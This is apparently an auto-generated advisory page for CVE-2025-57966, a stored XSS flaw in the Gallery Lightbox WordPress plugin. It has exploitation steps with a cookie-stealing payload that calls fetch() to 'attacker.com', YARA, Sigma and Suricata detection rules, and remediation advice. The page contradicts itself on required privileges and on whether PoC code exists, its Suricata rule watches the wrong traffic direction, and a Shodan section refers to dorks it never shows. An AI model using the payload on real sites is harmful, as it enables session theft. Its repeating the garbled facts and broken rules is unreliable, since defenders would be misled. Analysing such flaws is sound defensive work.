CVE-2025-57966
Executive Summary
CVE-2025-57966 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Gallery Lightbox (gallery-lightbox-slider) by GhozyLab, affecting versions up to and including 1.0.0.41. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into gallery entries. When an administrator or other user views the compromised gallery, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing network access, low attack complexity, required user interaction, and changed scope. No public exploit code or proof-of-concept is currently available, and the patch status remains unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via ZIP upload are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems. Administrators should verify the plugin version and monitor for official updates from GhozyLab.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need prior authentication to trigger the stored XSS, but they need to be able to submit content (e.g., via a comment or gallery submission form).
- User Interaction (UI): Required (R) – The victim must visit the compromised gallery page.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited modification of data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is 6.5, the lack of public exploit code and low EPSS score (0.0%) reduce immediate risk. However, the stored nature of the XSS means that once injected, the payload persists and can affect multiple users.
Deep Dive & Mechanics
The vulnerability exists in the gallery-lightbox-slider WordPress plugin. The plugin allows users to create and manage image galleries with lightbox functionality. The improper neutralization occurs when user-supplied input (e.g., image captions, titles, or alt text) is rendered without proper sanitization or output encoding. An attacker with the ability to add or edit gallery items (typically contributor role or higher) can inject malicious HTML/JavaScript into these fields.
When the gallery is displayed on a page, the injected script executes in the context of the victim's browser. This is a classic Stored XSS (also known as Persistent XSS) because the payload is stored on the server and served to every visitor of the affected page.
The vulnerable code likely uses functions like echo or print to output user data without applying WordPress's built-in escaping functions such as esc_html(), esc_attr(), or wp_kses_post(). The fix would involve properly escaping all user-supplied data before rendering.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical example of the vulnerable code and its patched version.
Vulnerable Code (PHP):
// In a template file or shortcode handler
$caption = get_post_meta($post_id, 'gallery_caption', true);
echo '<div class="gallery-caption">' . $caption . '</div>';
Patched Code (PHP):
$caption = get_post_meta($post_id, 'gallery_caption', true);
echo '<div class="gallery-caption">' . esc_html($caption) . '</div>';
The patched version uses esc_html() to encode special characters, preventing script injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress installation with Gallery Lightbox plugin version <= 1.0.0.41.
- An account with at least Contributor role (can add/edit gallery items).
Steps:
- Log in to WordPress as a Contributor.
- Navigate to the gallery editor (e.g.,
wp-admin/admin.php?page=gallery-lightbox-slider). - Add a new image or edit an existing one.
- In the caption or title field, inject the following payload:
<script>alert('XSS')</script> - Save the gallery item.
- As an administrator or other user, visit the page displaying the gallery. The JavaScript executes.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team
Detection:
- Monitor for unusual JavaScript execution in the context of gallery pages.
- Look for suspicious POST requests to gallery endpoints containing script tags.
- Review WordPress logs for unexpected changes to gallery metadata.
Prevention:
- Ensure all user input is properly sanitized and escaped.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use Web Application Firewall (WAF) rules to block common XSS patterns.
Indicators of Compromise (IOCs)
- File Hashes (MD5): (None available – no known malicious files)
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
- Unusual JavaScript files loaded from external sources.
- Log Entries:
- WordPress debug log entries containing
scripttags in gallery metadata. - Web server access logs showing requests to gallery pages with encoded XSS payloads in query strings or POST data.
- WordPress debug log entries containing
- Registry/File System:
- Modified gallery entries in the WordPress database (
wp_postmetatable) containing HTML/JavaScript.
- Modified gallery entries in the WordPress database (
Detection Engineering
YARA Rule
rule CVE_2025_57966_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Gallery Lightbox plugin metadata"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-57966"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$gallery_meta = /gallery_caption|gallery_title|gallery_alt/i
condition:
$xss_payload and $gallery_meta
}
Sigma Rule
title: Stored XSS in Gallery Lightbox Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts via gallery metadata fields
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'gallery-lightbox-slider'
cs-uri-query|contains: 'action=edit'
sc-status: 200
condition: selection
falsepositives:
- Legitimate use of HTML in gallery descriptions (rare)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57966 Stored XSS Payload in Gallery Lightbox"; flow:to_server,established; content:"POST"; http_method; content:"gallery-lightbox-slider"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until an official patch is released.
- Restrict user roles – Only allow trusted administrators to edit gallery items.
- Apply virtual patching using a WAF to block XSS patterns in gallery-related POST requests.
Long-term Fix:
- Monitor the GhozyLab plugin page for updates. Once a patched version (e.g., 1.0.0.42) is released, update immediately.
- If no patch is forthcoming, consider replacing the plugin with an alternative that is actively maintained.
Code-Level Mitigation (if you have access to the plugin source):
- Replace all instances of
echo $variable;withecho esc_html($variable);for user-supplied data. - Use
wp_kses_post()for rich text fields that require HTML, but ensure it is configured to strip dangerous tags.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.